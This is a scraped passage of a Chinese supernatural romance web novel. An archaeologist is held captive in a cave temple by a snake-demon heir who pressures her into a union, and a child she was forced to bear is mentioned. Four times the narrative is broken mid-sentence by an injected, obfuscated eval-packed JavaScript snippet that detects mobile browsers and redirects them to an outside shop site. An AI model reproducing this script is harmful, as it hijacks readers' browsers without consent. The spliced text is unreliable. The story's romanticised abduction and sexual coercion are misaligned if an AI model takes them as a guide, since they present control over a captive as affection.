毕竟越朝文明距今几千年,在那个时候,纸张尚未被发明,而且连出土的版本,都是石刻的。 “一代代传下来的。” 殷九斯的回答轻描淡写。 这就是世家望族的底气吗,秦颂忍不住在心里吐槽,要是被大家知道,殷家居然藏有《天问书》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242809|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道会引发多大的舆论。 但当时的秦颂万万没有想到,殷九斯所说的代代相传,到底是怎么一回事。 秦颂不再去多想,而且迫不及待地在书桌前坐了下来,翻开古籍的第一页。 只看一眼,秦颂就相信了,这的确是《天问书》。 因为上面的内容,跟她在临时工作室偷看的相差无几,甚至更丰富。 而且她也相信,殷家人即便事先看过了石刻版本上的内容,也来不及在两天之内,就完美复刻下所有内容,装订成书。 秦颂陷入狂喜之中,认真且专注地研读起这本书。 不知看了多久,直到她的手机铃声一遍又一遍响起,她才从书籍中抬起头,然后发现,时间居然已经来到了第二天傍晚。 她居然在这里看了整整一天的书。 而殷九斯正坐在一旁的沙发上,长腿闲适地踩在地板上,单手支着脑袋,眼睛一眨不眨地看着她。 秦颂接起电话,是师兄何真打来的。 何真语气焦急,“小颂,你终于接电话了,可急死我们了!你去哪里了呀!” 秦颂消失了一天,所有人都联系不上她。 “我……我有些事情要处理,忘了告诉你们,对不起,我这就回去。” 秦颂应付了几句之后,就挂断电话,然后望向殷九斯。 “殷先生可以把我送回去吗?我没有车子,也不认识路。” “然后。”秦颂说着,恋恋不舍地摩挲着面前的书籍,“可以借给我,让我带回去看几天吗?我不会弄坏这本书的!等我看完,就还给您!” 听完她的请求,殷九斯表情未变,但是换了一个姿势,上半身往后一靠,慵懒地躺在沙发背上,眼神淡漠。 “你只能在这间屋子里,看这本书。” 那天下午,秦颂坐着那辆黑色劳斯莱斯回到了村子里。 任教授看到她跟殷九斯一起回来的,没有多说什么。 但在第二天下午,任教授独自来到办公室里,找正在整理资料的秦颂谈话。 “小颂,你是我最聪明的学生,我不希望你走错路。” 任教授一声叹息,“我知道你很想破译《天问书》,其实我也一直在帮你争取机会,你耐心再等等,我们一定能拿到这个机会的。但你千万不能因为心急,而找上不该找的人啊!” 秦颂知道任教授这番话的意思,但她因为心虚,也没有办法争辩。 因为现在的她的确得到了《天问书》的破译机会,而且也的确是跟殷九斯得来的这个机会。 见她低着头不作答,任教授还有什么不明白的呢。 老教授的语气里多了几分生气,“殷家人那是我们可以招惹的吗!我们就是平民老百姓,就是一个普通的科研工作者,别自不量力,要脚踏实地,实实在在地活着!” 秦颂无奈,任教授大概是想多了,想错了。 她抬起头,看着自己的老师,眼神认真,“教授,您放心,我没有做不该做的事情。从始自终,我都没有犯过错。” 任教授长长地叹息一声。 “小颂,都怪我啊,没能护住自己的学生。” “答应我,别再跟殷家人走得太近了,他们……不是常人!” 很久之后,秦颂才明白,那句不是常人的真正含义。 只可惜,当时的秦颂并不明白。 所以那天晚上,她又再一次,出现在了殷家老宅的书房里。 8. 由不得你了 这一次,殷九斯没有出现,他的助理兼司机把秦颂送到了殷家老宅之后,秦颂便自己走了进去。 依旧是昏暗的室内,但秦颂凭借自己的记忆力,顺利找到了那间书房,她刚把手放在门把上,想要转动的时候,忽然听到周围似乎有什么东西,她停下动静,专注去听那个动静。 嘶嘶刷刷的声音,不知道是什么。 也许是这栋古老的豪宅中还住着其他人吧。 秦颂没再多想,迫不及待重新进入书房,开始继续研究《天问书》。 殷家的这个版本,内容更全面。 秦颂还无法判断,上面的内容是真是假,是否存在虚构的部分。 她之前在临时工作室偷看的石刻版内容,讲述了女神降世建立国家,以及人神通婚的故事。 殷家版本中,补充了一些细节。 人神通婚,是因为远古时期的人类,基因脆弱,死亡率很高。 人类想要获得神的能力,于是设坛吟唱,用祝词来向女神许愿,赐予人类神力。 女神允许人类通过与神缔结婚约的方式,改变后代的部分基因。 于是渐渐地,王朝中越来越多的子民,都是人神混血。 女神统治王朝三百年之后,便将治理权交给另一位女神,自己骑着猛虎,回到了月亮上居住,再也没有回到人间。 而她身边的两条巨蟒蛇神,则留在了人间,守护在新一任统治女神身边,永永久久地保护着和夷领地。 蛇神居住在高山之中,曾有古代村民上山砍柴,误入荒林,半夜时分,忽然看到远处有黄澄澄的灯光亮起,于是他便朝着光亮处走去,却一直也走不到有灯的地方,却慢慢地被灯光吸引着赶路,不知不觉就走出了荒山。 直到回到村子里,才被村民们告知,他一定是误入了神山,整座巨山,其实都是蛇神盘身而成的,那所谓的灯光,其实就是蛇神的金黄色瞳孔! 蛇神不会伤害无辜的村民,只是用自己的方式,把迷路的人引出山外。 殷家版本上的蛇神,画得更仔细,更清楚,秦颂只看了一眼,便浑身直冒鸡皮疙瘩。 通体漆黑,布满鳞片,金黄色的蛇瞳直勾勾地望着人,阴森而冰冷。 一股寒气从后脊背窜起,秦颂忍不住搓了搓胳膊,获取一些暖意。 一张温暖的毯子从后面盖过来,把秦颂吓得一跳,直接从椅子上站了起来,却一个脚步不稳,踉跄地跌入了身后的怀抱中。 那股熟悉的草木清香,又带了一点甜腥的气味,向她涌来。 是殷九斯。 他不知何时已悄无声息地站在了秦颂身后,两人挨靠得极近,在这间昏暗的书房内,气氛旖旎。 “你、你什么时候进来的?”秦颂惊疑不定地望着他,还没有意识到,自己正靠在殷九斯的怀中,两人姿势暧昧,过于亲密了。 殷九斯拿过毯子,裹住她的上半身。 “书房暖气坏了,别冻着。” “你们人类……女性,怕冷。” 秦颂自从进入书房以来,就沉浸在《天问书》的世界里,这会儿被他一提醒才发生,屋子里果然很冷,仿佛置身冰箱内,温度低得吓人。 虽说已是初夏,但山中依旧低温,更别提依山而建的殷家老宅了。 给秦颂裹完毯子之后,殷九斯依然没有放开她的迹象,秦颂在他怀中挣扎了几下,没有挣脱开来。 殷九斯低头看着她,晦暗的光线之中,两人的脸凑得很近。 “人神通婚,你有什么看法?” 秦颂皱起眉头,这是在考验她的专业能力吗? 但她还是认真回答了这个问题,“世界各地都有着远古时期人神通婚的传说,但至今未能被证实是真相。其实这更像是一种神职崇拜,远古人民生产力低下,医疗条件差,所以死亡率极高,所以人们会希望自己拥有更多的动物本能,比如像鸟一样能飞,因此衍生出虚构的神以及神力,通过向不存在的神祷告,来为自己祈福……” 殷九斯没有耐心听她的长篇大论,直接打断了她的讲述。 “你愿意跟神结合吗?” “什么?”秦颂又被吓了一跳,随即荒谬的感觉涌上心头,令她忍不住露出一个好笑的表情。 “这个世界上没有神。” “如果有,你愿意吗?” 殷九斯再次问道。 秦颂摇了摇头。 “我愿意做普通人,普通平淡地活在这个世界上,就足够了。” 听到她的这番回答,殷九斯的脸上,没有露出任何表情,但秦颂却感觉,他的眼神,充满了某种压抑的复杂的感情。 但随即,又化作一抹冰冷。 “由不得你了。” 殷九斯用一种很残酷的声音说道。 秦颂惊愕且疑惑,“什么意思?” 殷九斯没有直接回答她的问题,而是转向了另一个话题,“你想去看看别的越朝文物吗?” 秦颂举着手电,深一步浅一步地走在溶洞里,跟在殷九斯身后。 她感觉自己已经走了很久很远的路,但还是没有走到目的地。 走得双腿已经酸软了,但她还是坚持着,要去看一看,藏放在殷家里的越朝物件。 “这里就是了。” 秦颂抬头,手中的手电也随着她的视线向前照去,纵然已经有了心里准备,但秦颂还是被面前的庞然大物给震撼到了。 漆黑深邃的溶洞之中,居然耸立着这样一栋建筑物。 秦颂没有见过这个样式的楼,似乎融合了多个朝代的建筑风格,外形看起来像是一座庙宇,又像是一座巨大的祭坛,总之很难形容。 入口处坐落着两尊石像,也是秦颂没有见过的生物形态。 蹲坐似虎,后背却又生着双翼,头部是蛇头,尾巴是龙尾。 “那个是什么?”秦颂用手指着石像,尽力避开与蛇头对视,真是瘆人。 “我的祖先。” 殷九斯轻描淡写一句话,语气不似开玩笑。 哪有人的祖先,是这种生物的?! 似乎是感觉到秦颂的害怕与迟疑,殷九斯又补了一句,“逗你的。” 随后便先行步入这座深山溶洞中的怪异建筑中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242810|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦颂紧随其后,在经过那两座怪异石像时,似乎是被手电筒的光照射的原因,石像蛇头的眼中,闪过一丝金黄色的光芒。 进去之后别有洞天,这栋怪楼从外面看起来很大,进去之后才发现,里面的空间更大。 秦颂一时之间也忘了自己的腿早就酸痛得走不了一点路了,跟在殷九斯身后不停地走着,看着,直到把整栋楼都走完了一遍,两个人又回到了一开始的入口处。 “你说的越朝文物,在哪里呢?” 秦颂奇怪地问着,把整栋楼都看遍了,也没有听到殷九斯提起。 “这座神殿,就是殷朝时期建造的。” 殷九斯语气淡淡,似乎对此事很不以为然。 秦颂震惊地再次回望这座建筑物。 “什、什么!” 这样庞大的建筑物,这样精巧的做工,不知是不是因为一直藏于深洞中,经历了几千年,还能这样完好无损地保留下来,实在惊人。 “为什么你没有告诉任教授,这里有……” 话说一半,秦颂就止住了声音。 后怕涌上心头。 殷家居然就这样秘密保留着越朝文物,并且不是小物件,而是一整栋古楼! 而现在,她得知了这个秘密,殷九斯为什么要这样做…… “我为什么要告诉他?”殷九斯依旧语气淡淡,“他算谁?” “那你为什么要告诉我?还带我来看……” 秦颂感觉溶洞中的冷意似乎越来越重了,她紧紧裹着外套,忍不住后退了半步,远离殷九斯。 “你当然跟他们不一样。” 殷九斯察觉到她的疏离,不紧不慢地靠近她,步步紧逼。 “你是我的妻子。” 这明晃晃的骚扰,让秦颂再也忍不住,刚想要破口大骂时,她惊恐地发现,殷九斯的瞳孔,正在慢慢变成金黄色,并且瞳孔形态由圆形,慢慢变成椭圆,最后变成了竖瞳! 蛇瞳! “啊!!” 秦颂爆发出一声尖叫,拔腿就要往外跑,却根本跑不动,她的上半身已经被殷九斯狠狠缠住。 男人的手臂坚实而有力,他的唇贴在秦颂耳边,呼出的气息温热,而带着浓烈的甜腥味。 秦颂又恐惧又害怕,浑身颤抖着。 “你想要做什么……” “祖神已经同意我们的结合了。” 殷九斯抱着她,望着神殿入口的两尊石像,石像蛇头的眼里,果然在发着金黄色的光! 原来那就是殷家的祖神! 殷家人,果然不是常人。 秦颂想起任教授的话,绝望地闭上了眼睛。 她想,今天自己难逃一死了。 都怪自己太蠢,太掉以轻心,又太贪婪了,太想知道关于越朝的一切。 殷九斯一只手掌捏住她的脸,迫使她扭过头与自己对视。 看到她脸上一副毅然赴死的表情,殷九斯轻轻笑了出来。 “颂颂。”他亲密地喊着只有家人才会称呼的小名,“睁开眼睛看我。” “好好看着,我们是如何恩爱的。” 9. 被迫生下的那个孩子 屋外的风雨声渐停,秦宜担忧地望着窗外的情况,“今晚上夜路怕是不好走了,要不我们都在老房里住一晚吧……” 这时她怀中的女儿也醒了,小婴儿睁着可爱的大眼睛,靠在妈妈怀里,说着婴言婴语,口水流在嘴角,秦宜好笑地拿着手帕去给她擦,然后突然一愣,随即又笑了起来。 “忘记还给他了。” “什么?”秦颂疑惑地看着妹妹。 “这个啦。”秦宜将手里拿着的手帕举起来,给姐姐看,“刚刚在楼下遇到一个个子特别高气质特别好的帅哥奶爸,他见我淋湿了,便给我这张手帕擦雨水。” 听到妹妹的这番话,一股强烈的不安预感涌上了秦颂的心头。 “忘记还给他了。”秦宜边说边往卫生间走去,“洗一洗再还给他吧,正好他也住这栋楼里。” “姐,你今天回来的时候有碰到他吗?他是刚搬过来的,带着一个小男孩,说是孩子妈妈跑了。” 秦宜打开水龙头,搓洗了几下手帕,“这张手帕的材质真好啊,虽然看不出是什么牌子的,但一定很贵。诶?”秦宜似乎是发现了什么,举起手帕在灯光下仔细地瞧了瞧,“上面好像有花纹,是两根扭在一起的麻花辫吗?好特别。” 秦颂浑身一震! 这个样式只会让她联想到,蛇形花纹。 不对,一定是他追来了……不能让他找到自己! 秦颂一个箭步冲进卫生间,把妹妹拉出来,“快!我们快离开这里!” 秦宜手里还拽着手帕,踉踉跄跄地被姐姐拉到了客厅,“怎、怎么了姐?” “快走!快走!”秦颂把沙发上的外套塞给妹妹,然后手忙脚乱地指了指被暂时放在沙发上的侄女,“快把她抱起来带走!” 秦宜被姐姐这番惊慌失措地样子吓到了,只能连声答应,把孩子重新抱起来,完全没有意识到,从她踏入屋子的时候起,姐姐一直在刻意避开与自己的女儿接触,甚至连催她离开的时候,都没有弯腰抱起孩子,她似乎很抵触跟孩子接触。 姐妹俩带着孩子匆匆忙忙来到电梯口,秦宜低着头给爸妈发消息,告诉他们不用上来了,姐姐今天的状态不太好,急着回新家住。 电梯门终于打开了,秦颂立马拉着妹妹走进去,然后着急地按着关门键,她的心怦怦直跳,说不上来的恐惧裹挟着她,令她呼吸紧张,只能不停地吞咽着口水。 就在电梯门要关上的那一刻,一只苍白劲瘦的手,忽然凭空出现,拦住了要关上的门。 秦颂被吓得浑身一抖,尖叫了起来。 “姐,你怎么了!”秦宜被姐姐这番模样吓到了,这还是她的姐姐吗?曾经那个处事不惊,无论发生什么大事都能淡然面对的姐姐吗?这两年到底发生了什么事情? 秦颂顾不上什么,一把紧紧抱住妹妹的肩膀,缩在她的身后,“别走!我不要跟你们分开了……” “我不走我不走。”秦宜安慰着姐姐,然后看向电梯门,门打开之后,走进来的不是别人,正是方才在一楼遇到的男人。 这会儿男人怀里的孩子已经睡着了,粉嫩的小脸蛋红润润的。 “好巧啊,你也住这一层啊。”秦宜笑着打了声招呼,然后低头安慰姐姐,“没事,是我刚才遇到的人,都是一个小区的,不是坏人。” 秦颂仍然把头缩在妹妹身后,她能感觉到,踏入电梯的男人,目光正落在她身上。 那是一种她熟悉,却又厌恶畏惧的审视目光。 “你好。”男人开口打了招呼。 秦颂一下子就放松了下来,不是他的声音。 还好。还好。 她慢慢抬起头,通过电梯内部的镜面反射,看到了男子的面容。 是自己完全没有见过的陌生脸庞。 她终于完全松了口气,但身子还是紧紧贴着妹妹,没有挪动半分。 电梯内部空间不大,男人怀中的小男婴几乎是在靠近秦颂的那一刻就醒了过来,哼哼唧唧地在男人怀中挣扎着小手小脚。 秦颂被孩子手脚碰到的那一刻,跟触了电似的,立马弹开,然后用恶狠狠的语气说道,“别碰我!” 此话一出,秦宜也愣住了,她从没听过姐姐用这样的语气说话。 男人也愣了一下,目光冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242811|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看向姐妹俩,秦宜露出尴尬地笑容把姐姐拉到一旁,解释道,“不好意思不好意思,我姐姐精神状态不太好,她不是故意的。” 男人没有再说话,但是周身气息一下子就冷了。 一直到电梯下到一楼,电梯门重新打开,秦颂立马拉着妹妹冲了出去。 所以她们都没有看见,身后男人的瞳孔颜色,慢慢从墨色,变成褐色,然后又变成金黄色,瞳孔的形态,也从圆形,变成了竖瞳! 直到上了父母的车,再次看到亲人熟悉的脸庞,秦颂才完全放松下来,瘫坐在座位里,一语不发。 妈妈担忧地看着她,又望向秦宜,“你姐姐怎么了?” 秦宜也皱着眉头,摇了摇头,“咱们先回新家吧,让姐姐好好休息会儿。我估计是老房太湿冷了,姐姐没睡好。” 车子启动,渐渐地驶离了这个老小区。 此时已不再下雨,外面的路湿漉漉的,寒气四溢,车内开着暖气,还算舒适。 秦宜的女儿也许是白天睡够了,此时正坐在自己的专属安全座椅上,睁着圆溜溜得眼睛,好奇而专注地望着自己的妈妈,看妈妈轻声哄着自己。 也许是看够了妈妈,小女儿一扭头,又看向了坐在身边的姨妈。 “啊啊。”小婴儿嘴里发出含糊不清的声音,把秦宜逗笑了。 “宝宝知道那是你的姨妈呀,宝宝真聪明呢。” 秦宜抬起眼睛看向姐姐,却发现姐姐闭着眼睛,似乎在睡觉,于是就降低了声音,给孩子塞了一个奶嘴,“宝宝乖乖的哦,别吵到姨妈休息了。” 几个月大的小婴儿似乎听懂了妈妈的话,真的不再发出声音,而是乖乖地含着奶嘴,慢慢地也睡着了。 秦颂其实根本没有睡,她怕自己睁开眼睛会控制不住身体反应。 她不能跟小婴儿靠得太近,她害怕,她恐惧,她恶心。 即便是自己最亲爱的妹妹的孩子。 她也没有办法生出一点点亲近之情。 只要一看到小婴儿,她就会想起,那个被迫生下的那个孩子。 那个流着殷九斯血液的男婴。 10. 人和神怎么结合 秦颂无法忘记那个夜晚。 深邃漆黑的溶洞中,崎岖不平的山石之上,磷灰石在散发着幽幽的绿光,这是一种发光矿物,秦颂曾在一次溶洞探险中见到过不少。 当时她还颇有兴趣的拍下了许多照片,感慨大自然的神奇造物。 可现在,这些曾经让她觉得很美丽的幽光,已经像是变成了邪恶的蛇眼睛! 令她痛恨,不想再多看一眼。 殷九斯的怀抱持续收紧,像是蛇的绞杀,秦颂被迫紧紧贴在他的胸膛之上,两人的距离已经近得不能再近,她的胳膊被勒得很痛,直接痛出了眼泪。 秦颂的双手被迫放在殷九斯劲瘦却结实有力的腰腹上,却又无法使出一点力气,把他推开。 在这一刻,殷九斯展露出了冰冷的蛇性,他的眼睛一瞬不瞬地望着秦颂痛苦的表情,力道却没有任何放松,他只是俯下身子,冷而软的嘴唇贴在秦颂的眼角下,轻轻吮去她的眼泪。 “你到底是什么人……”秦颂颤抖着声音,问出心底最大的谜团。 殷九斯的唇沿着秦颂的眼睛,鼻子,脸庞,一点点滑落,亲密而占有欲十足。 秦颂想到殷家神殿外的两个怪物石像,那是殷家的祖神?殷家人是怪物?还是妖? 真是荒谬,这个世界上怎么可能有…… “九婴。” “什么?”秦颂愣住,完全没有反应过来,殷九斯刚才说的是什么意思。 “我的真身是九婴。” 九婴,一种长着九个头的巨蛇妖怪,最早记录在汉代的《淮南子?本经训》中。 传说这是一种上古时期的妖怪,性情暴戾,不仅吃人,所到之处还会寸草不生,危害百姓。 秦颂又开始发抖了,她勒令自己不去想象面前这个紧紧抱着自己的“人”,其实是一条九头蛇。 她对于蛇的恐惧是刻在骨子里的。 她完全没有办法接受,就在方才,一条蛇妖在对自己示爱。 殷九斯轻易察觉到了秦颂的恐惧与不安,他的唇仍满含迷恋的在秦颂脸上轻柔蹭吻着,声音低沉而带着安抚的意味。 “放心,我永远不会在你面前露出原身,普通蛇族都怕我,我也不会让任何一条蛇,这辈子再出现在你面前。” 这番话让秦颂抖得更厉害了,她努力让自己平静下来,声音保持镇定。 “可以带我先离开这个山洞吗?” “等完成结合,我就带你出去。” 殷九斯的声音又恢复了冰冷,不容抗拒。 秦颂又开始发抖了,“结合?在这里?” 秦颂的情绪一下子就爆发了! 莫名其妙被殷九斯骚扰,还要被困在这个恐怖又阴森的黑色山洞之中,还有可能被殷九斯强迫,秦颂宁愿选择去死! 她拼命挣扎着,尖叫起来,指甲甚至在殷九斯的脸上划了好几下,但仍丝毫脱离不了半分。 “别乱动。”殷九斯淡声警告,“我不会强迫你的。” “等你什么时候愿意了,我们再出去。” 那句话之后,殷九斯果然没有任何强迫秦颂的行为,但是他也没有带秦颂离开那个山洞,而是半拉半抱着她,回到了殷家古楼里,找到一间房间住下。 一开始秦颂还会哀求殷九斯,“求求你放过我吧,任教授看不到我会着急的,他们还会报警,迟早能找到这里的。” 殷九斯嗤笑,“你以为随便什么人都能走进这里吗?” “如果不是我带着你,你走到山洞口的时候,就已经被蛇神的神力弄死了。” “为什么是我?”秦颂绝望地问道,她无力地坐在床沿,手指无意识地紧紧抓着衣服,情绪焦虑。 “是因为我对越朝有所了解吗?所以你认为我会是你的知音?” 这番话让殷九斯笑了一下,秦颂读出了嘲讽的意味。 “没有谁能比殷家人更了解越朝。” “越朝是真实存在的,神也是真实存在的。” 殷九斯漫不经心走到秦颂身边,然后坐了下来,长腿紧紧靠着她,存在感十足。 “你不是喜欢做研究吗?我就是越朝活历史。” 殷九斯强迫秦颂抬起头看他,他的蛇瞳在暗淡的灯光下,亮得惊人,妖异感很强。 “来研究我吧。” 研究他? 说实话秦颂对他真的并不感兴趣。 不止是他,经过与徐望的失败恋情之后,秦颂就已经无心与任何男人产生纠葛,一心只想好好做自己的学术研究,以及工作。 殷九斯指的研究他,是研究什么? “人和神怎么结合?”秦颂发着抖,恐惧不已。 殷九斯似笑非笑地望着她,“你想怎么结合?我都可以满足你。人跟人的,人跟蛇的……” 话音未落,秦颂已经忍无可忍狠狠给了他一巴掌。 “啪”地一声,响彻房间。 殷九斯猝不及防,脸被秦颂打得偏向一边,额头上的碎发也被打得散落下来,遮住了他的眼神,晦暗不明。 他的脸上很快就浮现出了红印子。 秦颂在心里冷笑,同时又忍不住犯恶心。 不是自称为神吗?看来跟肉体凡胎也没什么不同,挨了巴掌照样脸红。 “你说过不会在我面前变成蛇的样子。”秦颂冷声呵斥。 殷九斯转过脸,那双金色的蛇瞳在快速地不停变化着形态,秦颂知道,这是他在生气了。 但已经横竖都是一死,自己这一巴掌是彻底得罪他了,秦颂破罐子破摔,从床上站起身来,离他远远的。 困在山洞里,看不到天色,无法感知时间的流逝。 秦颂只觉得又困倦又烦躁,情绪越来越差,她不去看殷九斯的脸色,不管他是不是还在生气,在房间里焦急地转了几个圈,然后又在一张椅子上坐了下来。 这虽是一栋古楼,但内部却能做到一尘不染,家具摆件古香古色中透露着奢靡,并且十分舒适,足以可见,家财万贯的殷家人,平时的生活有多么享受。 但此刻的秦颂没有心情享受这一切。 “让我出去。” 她再次说出这句话,语气冰冷。 “我要离开这个鬼地方。” “不然我就杀了你。” 此话一出,殷九斯倒是看向了她,但眼神中充满了嘲讽。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242812|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。”他淡声回应。 秦颂重新站起身,一步步朝他走过去,一直走到他面前。 殷九斯抬起他那张俊美妖异的脸,直直看着秦颂,表情淡然,甚至还伸出了双手,搂住秦颂的腰,把她拉得更靠近自己一些。 秦颂被他的膝盖顶着,站立不稳,就要扑倒在他的怀里之时,她忽然伸出攥成拳的右手,狠狠扎在了殷九斯的肩膀之上! 殷九斯毫无反应,身体一动不动,甚至连眼睛都没有眨一下,依旧看着秦颂,瞳孔也毫无变化。 秦颂颤抖着松开手,一把尖锐的瑞士军刀,正深深地插在殷九斯的肩膀之上。 其实刚才,她有一瞬间,是想把刀子,直接插入男人脖子里的! “嗤。”殷九斯彻底笑出了声,他双手用力一拉,把秦颂彻底拉到自己怀中,坐在腿上。 他低下头,唇凑得极近,“你知道吗,这样不仅伤不了我。” “反而会让我,兴致大发。” 说完,再也不顾秦颂的挣扎,低头用力吻上了她。 边吻边抽出一只手,轻松地把肩膀上的军刀拔了出来,随意扔在一旁。 没有了军刀的阻拦,他的血争先恐后地从伤处涌了出来,温热的血蹭在秦颂的身上,但没一会儿,那处伤口便消失愈合了。 “唔……”挣扎间,秦颂看到了这奇异的一幕,证实了殷九斯绝非常人,绝望彻底淹没了她,身体一软,便倒在了殷九斯怀中。 那天之后,秦颂变被殷九斯困在了殷家古楼里。 她从没有见到过第三个人,这里只有他们。 殷九斯每日不知从哪里给她变出食物,强行让她吃下去。 她闹过绝食,也趁着殷九斯不在的时候,试图跑出这栋楼,寻找出路。 但是都失败了。 殷九斯看她看得非常严,而且比她还没有情绪波动,不管她怎么闹,或是怎么求,都不为所动。 坚守着自己的规则。 那就是,等秦颂愿意与他结合,就带秦颂离开这里。 时间不知过去了多少天,秦颂问,殷九斯从不愿意回答。 她明白,这是殷九斯在故意挑战她的心理防线,想让自己熬不住的时候,就会自动去找殷九斯结合。 这一天,照常是与殷九斯在房间里待着,殷九拿着一本书,正在看着。 “你没有别的事情做吗?”秦颂冷冷发问,“你的公司,你的事业呢?” 殷九斯不紧不慢地翻过一页书,没有抬头看她。 “守着你就是我最重要的事。” “为什么?跟我结合对你有什么好处?” 对于这个问题,殷九斯倒是认真想了一下,“没有任何好处。” “九婴族满两百岁便可以自寻伴侣,拥有后代,就可以成立自己单独的家庭。” 殷九斯抬起眼睛望着秦颂,眼神很深,仿佛要把秦颂看到骨子里。 “你就是我认定的伴侣。” 似乎是又想到了什么,殷九斯笑了起来。 “跟我结合,对你倒是有好处。” “九婴族后代,可以选择由父亲来诞育,你不用遭受生育的痛苦。” 11. 男人生子 任志国收到秦颂辞职信的那一刻,心中所感受到的情绪,不是震惊意外,也不是愤怒这位好学生的不负责任,居然在项目最忙碌的时候,选择了辞职。 而是浓烈的悲伤与愧疚。 在殷九斯出现在项目组里的那一刻,任志国就已经预见了这一天的到来。 他不是为了视察和夷遗址的考古工作才来到这里的,打一开始,他就是为了秦颂而来。 任志国是在一年前接触到这个项目的。 那是一个秋高气爽的午后,他乘坐高铁到达北城后,便被专车接走,开了整整两个多小时,才终于达到目的地。 那是一座风格肃穆严整的大院,门口站着不少士兵,车子开进大门之后,又拐了几个弯,最终停在一栋三层小楼前。 任志国一早就知道自己要见到的人是谁,但实际见面时,还是微微吃了一惊,因为他没有想到,传说中的张家下一任,居然那么年轻。 外形健康英气,带着爽朗的英俊,有种朝气蓬勃,又稳重严肃的气质。 “任教授,快快请坐。”年轻人笑容热情地招呼着他入座,任教授不敢推辞,赶紧坐了下来。 年轻人似乎刚处理完一些事物,男秘书手里还拿着平板在记录着些什么,任志国安静等着,没有出声。 但很快另一位助理就端着茶水走了进来,秘书也在年轻人身边侧后方的位置坐下,坐姿笔挺,安静而温和地注视着任志国的方向。 “任教授见过鬼吗?” 张家年轻人的第一句话就让任志国惊讶不已,但他还是摇了摇头,“从来没有。” “那您相信这个世界上,有鬼存在吗?” 年轻人又接着问道。 任志国不明白对方话里到底隐藏着什么深意,不过他没有选择打官腔,而是老老实实地说出自己的看法。 “大千世界,无奇不有。况且这个世界上还存着许多神秘现象,是暂时找不到科学解答的。” 年轻人听闻他的回答之后,勾了勾嘴角,情绪莫测。猜不出是满意他的回答,还是不满意。 秘书站起来,绕过年轻人的椅子后面,走到任志国面前,递给他一份文件夹。 “和夷鬼国的墓葬群遗址,可以挖掘了。” 是可以,而不是发现。 任志国激动地接过文件夹,能够找到只存在于传说之中的古国遗址,对他的事业来说,已经是一生无憾了! “但是这个项目,殷家人也会加入。”对方接着说道。 任志国抬起头略微不解地看着对方,迟疑地问道,“是想参与考古工作吗?还是……” 年轻人摇了摇头,“他不会对你们的工作进行任何干涉,也不会真正参与到你们的工作当中。” 任志国更疑惑了,“既然这样,那他是来?” 年轻人的意味深长地看着他,“找人。如果找不到,他就会离开,如果找到了。” 说到这里,他听了下来,语气中带上不容拒绝的意味。 “那就要麻烦任教授处理一下后续的事情了。” 当时任志国并没有明白对方话里的意思,但面见时间已到,任志国一秒钟都不能多留,助理立马把他送到了门外。 任志国手里紧紧抓着那份文件资料,情绪依旧激动,但他还是想弄清楚,最后那番话的意思。 他向身边的助理打听,助理脸上的笑容滴水不漏,声音温和且真挚。 “上面的意思是希望到时候要是发生了什么突发状况,你都能够妥善处置,毕竟您是项目人的负责人,咱们这是个大项目,一定要做得实在,做得漂亮。” 如今,看着手里这一封秦颂的辞职信,任志国恍然大悟。 原来这就是需要他善后的事情。 接下来的几天里,任志国跟同事们简单解释了一下秦颂辞职的事情,多数人都没有过问,唯独秦颂的同门师兄,也就是正在负责《天问书》破译工作的何真,对此事追问不放。 “教授,小颂不可能辞职!她到底什么情况?她是不是出事了?”何真着急地围在任志国身边转来转去,“哪怕是天塌下来,小颂都不可能放弃自己的工作!” 任志国头疼不已,叹着气,指着大门口的方向,“赶紧滚回你的工作岗位上去!别的事别瞎问!” 被教授骂了何真也不以为意,教授对待他们这些男同事向来如此,直接又粗暴。 他不肯离去,依旧缠着任志国要原因,“就连不让她参加《天问书》的破译工作,故意让她去干记录,她都没想过离开,又怎么会在这个莫名其妙的节骨眼说要离职呢?” 